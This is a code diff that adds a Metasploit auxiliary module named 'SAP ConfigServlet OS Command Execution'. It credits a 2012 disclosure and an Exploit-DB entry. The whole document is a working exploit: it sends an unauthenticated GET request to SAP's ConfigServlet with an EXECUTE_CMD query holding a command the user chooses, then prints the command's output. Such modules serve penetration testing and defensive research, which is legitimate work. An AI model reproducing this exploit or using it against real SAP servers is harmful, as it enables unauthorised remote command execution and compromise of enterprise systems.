|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit4 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'SAP ConfigServlet OS Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module allows execution of operating system commands through the SAP |
| 19 | + ConfigServlet without any authentication. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation) |
| 24 | + 'Andras Kabai' # Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'], |
| 30 | + [ 'EDB', '24963' ] |
| 31 | + ], |
| 32 | + 'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation |
| 33 | + )) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + Opt::RPORT(50000), |
| 38 | + OptString.new('CMD', [ true, 'The command to execute', 'whoami']), |
| 39 | + OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']) |
| 40 | + ], self.class) |
| 41 | + end |
| 42 | + |
| 43 | + def run |
| 44 | + begin |
| 45 | + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) |
| 46 | + uri = normalize_uri(target_uri.path, 'ConfigServlet') |
| 47 | + |
| 48 | + res = send_request_cgi( |
| 49 | + { |
| 50 | + 'uri' => uri, |
| 51 | + 'method' => 'GET', |
| 52 | + 'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD']) |
| 53 | + }) |
| 54 | + if !res or res.code != 200 |
| 55 | + print_error("#{rhost}:#{rport} - Exploit failed.") |
| 56 | + return |
| 57 | + end |
| 58 | + rescue ::Rex::ConnectionError |
| 59 | + print_error("#{rhost}:#{rport} - Failed to connect to the server") |
| 60 | + return |
| 61 | + end |
| 62 | + |
| 63 | + if res.body.include?("Process created") |
| 64 | + print_good("#{rhost}:#{rport} - Exploited successfully\n") |
| 65 | + print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") |
| 66 | + print_line("#{rhost}:#{rport} - Output: #{res.body}") |
| 67 | + else |
| 68 | + print_error("#{rhost}:#{rport} - Exploit failed.") |
| 69 | + vprint_error("#{rhost}:#{rport} - Output: #{res.body}") |
| 70 | + end |
| 71 | + end |
| 72 | +end |
0 commit comments